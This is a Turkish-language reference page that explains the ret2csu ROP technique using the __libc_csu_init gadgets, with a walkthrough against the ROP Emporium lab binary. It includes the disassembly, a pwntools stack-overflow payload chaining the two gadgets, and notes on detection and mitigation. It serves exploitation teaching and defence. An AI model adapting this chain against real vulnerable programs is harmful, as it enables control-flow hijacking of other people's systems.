ret2csu¶
Sıradan
pop rdi/rsi/rdxgadget'ları kıt olduğunda, compiler-emitted__libc_csu_init"universal gadget"'ını System V argument register'larını (rdi/rsi/rdx) yüklemek ve kontrollü bir call yapmak için reuse et.
Mechanism¶
Invariant
x86-64 System V ABI ilk üç integer argümanı rdi, rsi, rdx içinde geçirir. ROP ile kontrollü argümanlarla bir fonksiyon çağırmak için o register'ları yükleyen gadget'lara ihtiyacın vardır. pop rdi; ret ve pop rsi; ret yaygındır, ama rdx'i kontrol eden bir gadget stripped/static binary'lerde meşhur şekilde nadirdir — bu da üçüncü bir argüman gerektiren mprotect(addr, len, prot) ya da write(fd, buf, n) gibi call'ları engeller.
__libc_csu_init — main'den önce .init_array constructor'larını çalıştıran CRT rutini — neredeyse her non-PIE C binary'sine statically link edilir ve sabit, attacker-dostu bir instruction sequence ile biter. İki zincirlenmiş gadget verir:
- Gadget 1 (populate gadget) — altı callee-saved register'ı pop eden temiz bir epilogue:
pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret - Gadget 2 (mov/call gadget) — o register'ların üçünü argument register'larına taşır ve bir indirect call yapar:
mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword [r12 + rbx*8]ardındanadd rbx, 1; cmp rbp, rbx; jne <gadget2_loop>ve sonra yine Gadget 1'in pop chain'i.
Asıl içgörü eşlemededir: r15 → rdx, r14 → rsi, r13 → edi ayarla ve r12 = rbx ile indekslenen, çağrılacak-fonksiyona-pointer'a bir pointer. rbx = 0 seçmek call'ı [r12 + 0]'a çözer; rbp = 1 seçmek cmp rbp, rbx'i (add rbx,1 → rbx=1 sonrası) eşit kılar, böylece jne alınmaz ve loop, pop chain'e düşmeden önce tam olarak bir kez çalışır.
Walkthrough¶
ROP Emporium'un ret2csu'sunu kullanarak (x86-64, non-PIE, GCC 7.3.0). objdump, __libc_csu_init içindeki iki gadget'ı gösterir:
0x400880: mov rdx, r15
0x400883: mov rsi, r14
0x400886: mov edi, r13d
0x400889: call QWORD PTR [r12 + rbx*8]
0x40088d: add rbx, 1
0x400891: cmp rbp, rbx
0x400894: jne 0x400880
...
0x40089a: pop rbx
0x40089b: pop rbp
0x40089d: pop r12
0x40089f: pop r13
0x4008a1: pop r14
0x4008a3: pop r15
0x4008a5: ret
Chain şudur: altı register'ı yüklemek için Gadget 1'e (0x40089a) dön, sonra onları argument register'larına taşıyıp [r12 + rbx*8]'i çağıran Gadget 2'ye (0x400880) dön. rbx=0, rbp=1 ile, r12 hedefin adresini tutan yazılabilir/bilinen bir qword'e işaret eder ve r13/r14/r15 üç argümanı tutar:
from pwn import *
csu_pop = 0x40089a # gadget 1: pop rbx;rbp;r12;r13;r14;r15;ret
csu_mov = 0x400880 # gadget 2: mov rdx,r15;mov rsi,r14;mov edi,r13d;call [r12+rbx*8]
ptr = 0x600e48 # r12: address of a qword that holds the function pointer to call
payload = b'A'*40 # overflow to saved RIP
payload += p64(csu_pop)
payload += p64(0) # rbx = 0 -> call [r12 + 0]
payload += p64(1) # rbp = 1 -> loop runs once (cmp rbp,rbx after rbx=1)
payload += p64(ptr) # r12 = &func_ptr
payload += p64(0xdeadbeef) # r13 -> edi (arg1, LOW 32 bits only)
payload += p64(0xcafebabe) # r14 -> rsi (arg2)
payload += p64(0xd00df00d) # r15 -> rdx (arg3)
payload += p64(csu_mov) # execute the mov/call gadget
Gadget dönüşte geriye ne bırakır
Gadget 2 gövdeyi bir kez çalıştırdıktan sonra add rbx,1 rbx=1 yapar, cmp rbp,rbx eşittir, jne düşer ve execution yine pop chain'e ulaşır — stack'ten yedi tane daha 8-byte slot tüketir (rbx, rbp, r12, r13, r14, r15, artı son ret hedefi). Call'dan sonra ne geleceğini düzenlerken bu padding qword'lerini hesaba kat, örn. asıl target call'dan önce rdi'yi tam 64-bit değere düzeltmek için ikinci bir pop rdi; ret.
edi yalnızca 32 bit ve gadget çağırmadan önce taşır
mov edi, r13d,r13'ün yalnızca düşük 32 bit'inirdi'ye yükler (ve zero-extend eder). İlk argümanın tam 64-bit bir adres ise (örn.systemiçin bir/bin/shpointer'ı), bu gadget tek başına onu ayarlayamaz —rdx/rsi'yi kontrol etmek için ret2csu kullan, sonra 64-bit ilk argüman için ayrı birpop rdi; ret.- Gadget'lar GCC'ye/versiyona özgüdür. Daha yeni GCC,
-fno-plt, LTO ya da PIE build'leri farklı bir__libc_csu_initemit edebilir (ya da hiç — yeni glibc/GCC böyle bir gadget olmadan__libc_start_mainkullanır). Her zaman asıl hedefi disassemble et; yukarıdaki offset'leri varsayma. PIE ayrıca hardcoded adresleri bozar, önceden bir leak gerektirir.
Detection¶
- Kendisi bir memory-corruption bug'ı değildir — bir stack/control-flow hijack'in exploitation'ıdır. Altta yatan overflow'u ASan/stack canary'lerle tespit et; ROP chain'i runtime'da CFI / shadow stack'lerle (Intel CET) tespit et.
Mitigation¶
- PIE + ASLR,
__libc_csu_init'i rastgeleleştirir, böylece gadget adresleri bir leak olmadan bilinmez. - CET shadow stack / Intel IBT ve compiler CFI, indirect
call [r12+rbx*8]ile ROP return'lerini kırar. - Klasik
__libc_csu_initepilogue'unu artık emit etmeyen daha yeni toolchain'ler, universal gadget'ı tamamen kaldırır.
References¶
Ayrıca bkz: return-oriented-programming, ret2libc, ret2syscall.